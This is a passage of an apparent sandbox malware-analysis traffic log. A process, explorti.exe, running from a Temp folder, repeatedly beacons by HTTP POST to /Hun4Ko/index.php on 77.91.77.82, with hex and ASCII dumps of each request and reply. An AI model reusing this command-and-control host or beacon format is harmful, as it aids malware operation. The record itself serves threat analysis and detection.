Jul 2, 2024 12:22:40.066457033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	55309	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:40.075083971 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:40.793739080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	55310	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:40.921201944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:41.618741989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	55311	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:41.627311945 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:42.326657057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	55312	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:42.450503111 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:43.133311033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	55313	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:43.141801119 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:43.987670898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	55314	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:44.106626034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:44.813755035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	55315	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:44.823385000 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:45.535104036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	55316	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:45.796088934 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:46.628454924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	55317	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:46.636754036 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:47.356146097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	55318	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:47.481440067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:48.176295996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	55319	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:48.213375092 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:48.904546022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	55320	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:49.027112961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:49.710617065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	55321	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:49.719793081 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:50.412522078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	55322	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:50.531760931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:51.217144012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	55323	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:51.227629900 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:51.922302961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	55324	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:52.042752981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:52.728173018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	55325	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:52.737001896 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:53.429970980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	55326	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:53.550698042 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:54.283015966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	55327	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:54.291440964 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:54.983165026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	55328	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:55.107491016 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:55.815035105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	55329	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:55.825463057 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:56.643552065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	55330	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:56.772710085 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:57.491751909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	55331	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
